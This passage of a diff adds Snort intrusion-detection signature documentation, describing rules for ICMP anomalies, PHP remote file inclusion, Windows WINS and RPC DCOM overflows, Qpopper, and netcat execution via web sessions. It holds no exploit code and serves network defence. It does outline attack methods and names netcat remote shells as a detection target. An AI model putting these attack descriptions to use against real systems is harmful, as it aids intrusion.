+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/392.txt
+++ snort-2.8.5.2/doc/signatures/392.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+392
+
+--
+
+Summary:
+This event is generated when an ICMP Datagram Conversion Error message is detected on the network.  ICMP Datagram Conversion Error messages were developed with the introduction of IPv6 to give information about invalid datagram conversions between IPv4 and IPv6.
+
+--
+
+Impact:
+No known attack vectors are known that use ICMP type 31 datagrams.  This is purely an informational message that detects errors on the network.
+
+--
+
+Detailed Information:
+ICMP Type 31 was developed to return information about datagram conversion errors between IPv4 and IPv6 as data is converted between them.  
+
+--
+
+Attack Scenarios:
+None known
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Datagram Conversion Error messages.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 31 datagrams should be blocked at the firewall.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000375.txt
+++ snort-2.8.5.2/doc/signatures/100000375.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000375
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_avatar.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_avatar.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/418.txt
+++ snort-2.8.5.2/doc/signatures/418.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+418
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Information Request datagram with an undefined ICMP code.
+
+--
+
+Impact:
+ICMP Information Request datagrams attempt to locate the network number of the network segment the datagram was generated on.  This could be an indication of an improperly configured host attempting to locate the network number of the subnet it is located in.
+
+Undefined ICMP Code values should never be seen on the network.  This could be an indication of nefarious activity on the network.
+
+--
+
+Detailed Information:
+This message is generated when a host attempts to locate the network number of the network segment it is located on..  Hosts that generated ICMP Information Request Messages are attempting to obtain the network number of subnet it is on.  In normal situations the ICMP Code should be set to 0, values other than 0 are undefined and should never be used.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 15 datagrams are not normal network activity.  Hosts generating ICMP Information Request messages or Information Reply Messages should be checked for configuration errors.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/679.txt
+++ snort-2.8.5.2/doc/signatures/679.txt
@@ -0,0 +1,78 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+Affected Systems:
+	Microsoft SQL Servers
+	
+--
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/en-us/tsqlref/ts_sp_addp_0awi.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000408.txt
+++ snort-2.8.5.2/doc/signatures/100000408.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000408
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "AssoCIateD" application running on a webserver. Access to the file "cache_mngt.php" using a remote file being passed as the "root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root_path" parameter in the "cache_mngt.php" script used by the "AssoCIateD" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using AssoCIateD
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1767.txt
+++ snort-2.8.5.2/doc/signatures/1767.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1767
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000406.txt
+++ snort-2.8.5.2/doc/signatures/100000406.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000406
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "approb.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "approb.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3195.txt
+++ snort-2.8.5.2/doc/signatures/3195.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3195
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft WINS.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft WINS such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker would need to send multiple malformed request to the WINS
+service running on a host.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uninstall the WINS service.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1062.txt
+++ snort-2.8.5.2/doc/signatures/1062.txt
@@ -0,0 +1,52 @@
+Rule:  
+--
+Sid:
+1062
+--
+Summary:
+Netcat execution attempt - Netcat is a very flexible and powerfull tcp and udp port listener
+--
+Impact:
+Serious. Full compromise of the host is possible. An attacker may have already compromised your system using another exploit and installed netcat to easily access a remote shell
+--
+Detailed Information:
+This event is generated when an attempt is made to execute Netcat via a web session.
+
+Netcat can be used for port forwarding, remote shell binding, file transfer etc. It is a security risk if someone can use the tool remotetly
+--
+Attack Scenarios:
+Usually nc.exe is uploaded after a successfull attack with another exploit. Netcat may then be executed via a web session to spawn a shell session the attacker can use for further system compromise.
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+A simple www.yourhost.net/nc.exe can trigger this rule. check if the file exists and use further protection software (host based IDS) to protect you from unknown files which could be uploaded.
+
+--
+False Negatives:
+The filename nc.exe was renamed and netcat is on your host already with another filename, probably bound to a shell already.
+
+--
+Corrective Action:
+Remove nc.exe.
+
+Portscan your host and check your firewall log files for IP's accessing the suspect port where netcat listens to gain information about the attacker.
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin.
+
+This command may also be requested on a command line should the attacker gain access to the machine.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/287.txt
+++ snort-2.8.5.2/doc/signatures/287.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+287
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+QUALCOMM Qpopper POP3 buffer overflow vulnerability in BSD operating 
+systems.
+
+--
+Impact:
+Remote execution of arbitrary code leading to remote root compromise.
+
+--
+Detailed Information:
+An exploit is available that takes advantage of a buffer overflow 
+vulnerability in QUALCOMM Qpopper POP3 mail server version 2.53 or 
+earlier. This exploit can be used to obtain root access to the 
+compromised server.
+
+--
+Affected Systems:
+BSD distributions that ship QUALCOMM Qpopper POP3 server version 2.53 or
+earlier.
+
+--
+Attack Scenarios:
+An attacker executes exploit code against a vulnerable server and 
+obtains root privileges on the compromised computer.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of QUALCOMM Qpopper appropriate for your 
+BSD distribution.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CERT
+http://www.cert.org/advisories/CA-1998-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3213.txt
+++ snort-2.8.5.2/doc/signatures/3213.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3213
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000600.txt
+++ snort-2.8.5.2/doc/signatures/100000600.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000600
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_markpaid.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"inv_markpaid.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2489.txt
+++ snort-2.8.5.2/doc/signatures/2489.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2489
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with eSignal software. 
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code with
+LOCAL_SYSTEM privilege on a vulnerable host.
+
+--
+Detailed Information:
+eSignal software provides real-time stock market data to client hosts.
+There is a vulnerability associated with eSignal that may cause a buffer overflow,
+permitting the execution of arbitrary code with the context of LOCAL_SYSTEM. 
+The buffer overflow occurs when a larger than expected data payload is supplied
+for certain message exchanges.
+
+--
+Affected Systems:
+eSignal versions 7.5 and 7.6
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed eSignal message that may cause a buffer overflow and 
+allow the subsequent execution of arbitrary code with the context of LOCAL_SYSTEM.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/9978
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1398.txt
+++ snort-2.8.5.2/doc/signatures/1398.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1398
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow condition in the dtspcd daemon.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code.
+
+--
+Detailed Information:
+Certain versions of the Common Desktop Environment (CDE) subprocess control service (dtspcd) contain a programming error that allows an attacker to execute arbitrary code.
+
+dtspcd is used to launch remote applications over a network connection. CDE is used on UNIX and Linux systems as a graphical window manager, it was the default X windows interface on Sun systems until the switch to Gnome.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0803
+
+CERT:
+http://www.cert.org/advisories/CA-2002-01.html
+http://www.cert.org/advisories/CA-2001-31.html
+http://www.kb.cert.org/vuls/id/172583
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1264.txt
+++ snort-2.8.5.2/doc/signatures/1264.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1264
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) bootparam is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port bootparam is using.  Attackers can also learn what versions of the bootparam protocol are accepted by bootparam.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as bootparam run.  The bootparam RPC service is used by some diskless workstations to discover information from a server required to boot.  The client will issue a bootparam whoami request to the server.  The server response will include the Network Information Systems (NIS) domain name.  An attacker can send a bootparam request if no authentication is used. The domain name provides valuable information that can be used to break into an NIS environment.  
+
+--
+Affected Systems:
+Any host running bootparam with no authentication.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where bootparam runs.  This may be a precursor to accessing bootparam.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access bootparam, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for bootparam, not probes of the bootparam service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the bootparam service itself. An attacker may attempt to go directly to the bootparam port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0647
+
+Arachnids 
+http://www.whitehats.com/info/IDS16
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3051.txt
+++ snort-2.8.5.2/doc/signatures/3051.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3051
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1096.txt
+++ snort-2.8.5.2/doc/signatures/1096.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1096
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2769.txt
+++ snort-2.8.5.2/doc/signatures/2769.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2769
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_mview_repobject
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1152.txt
+++ snort-2.8.5.2/doc/signatures/1152.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1152
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1735.txt
+++ snort-2.8.5.2/doc/signatures/1735.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1735
+
+--
+Summary:
+This event is generated when a client on the protected network has 
+possibly visited a website containing a malicious link leading to
+disclosure of information on the client.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+Certain versions of Mozilla, Netscape and other browsers based on these
+may allow a malicious link to reveal information about the files and
+filesystem on a host.
+
+HTTP redirects are mishandled by the XMLHttpRequest object in some
+browsers, this may allow a malicious web server to retrieve information
+from the client host if the redirect points to a local file.
+
+--
+Affected Systems:
+	Eazel Nautilus 1.0.4
+	Galeon 1.2 and 1.2.1
+	Mozilla versions 0.9.7 to 1.0 RC1
+	Netscape versions 6.1 to 6.2.2
+
+--
+Attack Scenarios:
+A devious website admin creates a webpage with malicious code and 
+obtains sensitive information from a visiting user's web browser about 
+any file or filesystem on the host he wishes.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives: 
+None known
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4628
+
+CVE:
